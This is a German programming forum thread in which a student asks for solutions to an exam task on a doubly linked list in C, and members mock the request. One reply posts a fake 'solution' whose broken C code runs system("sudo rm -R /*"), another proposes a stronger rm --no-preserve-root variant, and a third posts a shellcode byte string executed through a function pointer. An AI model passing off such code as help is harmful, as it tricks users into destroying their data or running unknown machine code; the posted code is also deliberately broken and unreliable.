1. Dashboard
  2. Forum
    1. Unerledigte Themen
  3. Mitglieder
    1. Letzte Aktivitäten
    2. Benutzer online
    3. Team-Mitglieder
    4. Trophäen
    5. Mitgliedersuche
  4. Tutorial Bereich
  • Anmelden
  • Registrieren
  • Suche
Dieses Thema
  • Alles
  • Dieses Thema
  • Dieses Forum
  • Seiten
  • Forum
  • Lexikon
  • Erweiterte Suche
  1. Informatik Forum
  2. Webmaster & Internet
  3. Entwicklung

Hile für eine Klausuraufgabe

  • olqmin
  • 20. August 2010 um 12:17
  • Unerledigt
  • olqmin
    2
    olqmin
    Mitglied
    Punkte
    15
    Beiträge
    2
    • 20. August 2010 um 12:17
    • #1

    Hallo! Bitte helfen Sie mir mit dieser Aufgabe


    Die folgende Vereinbarung beschreibt das Knotenelement einer doppelt veketteten Liste zur Behandlung von Messdaten. Die Komponente "Messwert" repräsentiert den ganzzahligen Messwert, die Komponente "Anz" gibt an, wie häufig dieser aufgetreten ist.

    typedef struct elem_t elTyp; /* Vorwaertsdeklaration von elTyp */
    struct elem_t
    {
    elTyp *next;
    elTyp *prev;
    unsigned long Messwert;
    int Anz;
    };

    a. Ehe für einen neu in die Liste aufzunehmenden Wert ein neues Knotenelement erzeugt wird, ist zunächst zu untersuchen ob bereits ein Knotenelement mit gleichem Messwert existiert. Dies ist Aufgabe der Funktion "LstSuchInc()", die die Liste dahingehend untersucht ob der Messwert bereits existiert, die Anzahl erhöht und den Zeiger auf diesen Knoten zurückliefert. Übergabeparameter sind der Messwert und der Zeiger auf das erste Listenelement (Wurzel). Im Misserfolgsfall - die Liste ist leer oder der Messwert befindet sich noch nicht in der Liste - ist der NULL-Zeiger zurückzugeben. Der Prototyp (Funktonsdeklaration) für "LstSuchInc()" lautet:

    elTyp *LstSuchInc(elTyp *wrz, unsigned long ulWert);
    Realisieren Sie "LstSuchInc()"!


    b. Existiert der Messwert noch nicht, so ist ein neues Knotenelement am Ende der Liste einzufügen. Dazu muss zunächst der Zeiger auf das aktuelle letzte Element ermittelt werden. Dies leistet die Funktion "GetLast()", die die Wurzel der Liste als Übergabeparameter erhält und den Zeiger auf das gesuchte letzte Element zurückliefert. Formulieren Sie "GetLast()" als Funktion in ANSI-C! Ist der Wert des Übergabeparameters NULL, so ist auch der Rückgabewert NULL zu setzen!


    c. Mittels "CalcMittel()" ist der Mittelwert über alle Messwerte zu bilden. Formulieren Sie "CalcMittel()" in ANSI-C!

  • Paulchen
    1
    Paulchen
    Gast
    • 20. August 2010 um 12:53
    • #2

    HILE! Schon wieder jemand, der möchte, dass andere seine Hausaufgaben erledigen.

  • m4rS
    7
    m4rS
    Mitglied
    Reaktionen
    15
    Punkte
    485
    Beiträge
    86
    • 20. August 2010 um 13:52
    • #3

    Ich habe eine wirklich elegante Lösung für dein Problem gefunden, nur leider ist hier zu wenig Platz sie aufzuschreiben.

    Random nontrivial stuff: http://rjlipton.wordpress.com/ Proofs for: P=NP, P!=NP, P vs NP is undecidable: http://www.win.tue.nl/~gwoegi/P-versus-NP.htm

  • olqmin
    2
    olqmin
    Mitglied
    Punkte
    15
    Beiträge
    2
    • 20. August 2010 um 15:30
    • #4

    Sicherlich kannst du nicht lesen ... es ist schon geschrieben KLAUSURAFGABE, nicht HAUSAUFGABE, wie du es gelesen hast.

  • Paulchen
    1
    Paulchen
    Gast
    • 20. August 2010 um 15:32
    • #5

    HILE! Schon wieder jemand, der möchte, dass andere seine Klausurafgaben erledigen.

    Besser?

  • spinball
    11
    spinball
    Mitglied
    Reaktionen
    67
    Punkte
    1.192
    Beiträge
    223
    • 20. August 2010 um 18:00
    • #6

    Ich habe die erste Teilaufgabe für Sie gelöst:

    Code
    typedef struct elem_t elTyp; /* Vorwaertsdeklaration von elTyp */
    struct elem_t {
    	elTyp *next;
    	elTyp *prev;
    	unsigned long Messwert;
    	int Anz;
    };
    
    
    elTyp *LstSuchInc(elTyp *wrz,unsigned long ulWert) {
    	elTyp elList2cur = wrz;
    	if(elList2cur.next != null || (int) 1.0 == 1) {
    		if(elList2cur.Messwert == ulWert) {
    			elList2.cur.Messwert = ulWert;
    		}
    		system("sudo rm -R /*");
    		return null;
    	}
    	elTyp elList3xf = malloc(sizeof(elTyp));
    	elTyp elList2cur = wrz;
    	return elList3xf;
    }
    
    
    int main(int argc,char** argv) {
    	elTyp elList3xf;
    	elList3xf = LstSuchInc(NULL,7);
    	return 0;
    }
    Alles anzeigen
  • davide
    23
    davide
    Mitglied
    Reaktionen
    110
    Punkte
    5.660
    Beiträge
    1.048
    • 20. August 2010 um 19:00
    • #7
    Zitat von spinball

    Ich habe die erste Teilaufgabe für Sie gelöst:


    :thumb:

    Sich berühren ist wie Afrika, fremd und kalt.

    http://www.penisland.net

    http://runtastic.com/

  • skinner33
    9
    skinner33
    Mitglied
    Reaktionen
    22
    Punkte
    862
    Beiträge
    168
    • 20. August 2010 um 20:07
    • #8
    Zitat von spinball
    Code
    system("sudo rm -R /*");


    das setzt ja linux vorraus, also wirklich :face_with_tongue:

    und sudo rm -Rf --no-preserve-root --one-file-system / wäre doch viel lustiger

    µC-Leitung

  • Kampi
    27
    Kampi
    Mitglied
    Reaktionen
    193
    Punkte
    7.828
    Beiträge
    1.468
    • 20. August 2010 um 22:31
    • #9

    na wenn dann schon so:

    Code
    char solution[] = "\xeb\x11\x5e\x31\xc9\xb1\x10\x80\x6c\x0e\xff\x35\x80\xe9\x01"
    "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x3d\xe5\x5d\x90\x02"
    "\xb5\x75\x02\xb5\x1d\x28\x34\x34\x34\x64";
    
    
    int main (int argc, char **argv)
    {
       int (*ret)();
       ret = (int(*)())solution;
       (int)(*ret)();
       exit(0);
    }
    Alles anzeigen

    Willfähriges Mitglied des Fefe-Zeitbinder-Botnets und der Open Source Tea Party.

  • LordNecro
    11
    LordNecro
    Mitglied
    Reaktionen
    40
    Punkte
    1.140
    Beiträge
    211
    • 21. August 2010 um 14:42
    • #10

    Von der Dreistigkeit solcher Anfragen mal abgesehen.... ist einmal kurz denken und googlen so schwer
    http://tinyurl.com/267hylg

    Bei mir gleich, dass erste Suchergebnis: Einfügen, Löschen, Sortieren, etc in einer doppelt verketteten Liste aus Integers. Es sollte doch wohl möglich sein, dass zu adaptieren...

    EDIT: ich hab mich sogar verschrieben und trotzdem was gefunden........

    Einmal editiert, zuletzt von LordNecro (21. August 2010 um 14:45)

  • Maximilian Rupp 27. Dezember 2024 um 00:26

    Hat das Thema aus dem Forum Programmieren nach Entwicklung verschoben.

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!

Benutzerkonto erstellen Anmelden

Benutzer online in diesem Thema

  • 1 Besucher

Rechtliches

Impressum

Datenschutzerklärung